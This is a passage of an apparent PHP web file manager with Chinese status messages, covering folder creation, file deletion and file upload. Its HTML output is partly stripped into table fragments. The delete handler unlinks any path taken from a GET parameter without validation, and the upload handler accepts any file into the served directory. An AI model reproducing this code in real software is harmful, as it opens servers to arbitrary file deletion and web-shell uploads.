文件夹 '$folder_name' 创建成功!
"; } else { echo "文件夹 '$folder_name' 已经存在!
"; } } // 删除文件 if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { unlink($delete_file); echo "文件 '$delete_file' 删除成功!
"; } else { echo "文件 '$delete_file' 不存在!
"; } } // 上传文件 if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) { $upload_file = $dir . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_file)) { echo "文件上传成功!
"; } else { echo "文件上传失败!
"; } } ?>名称 | 操作 | $file | -- | "; } else { echo "
---|---|
$file | 删除 |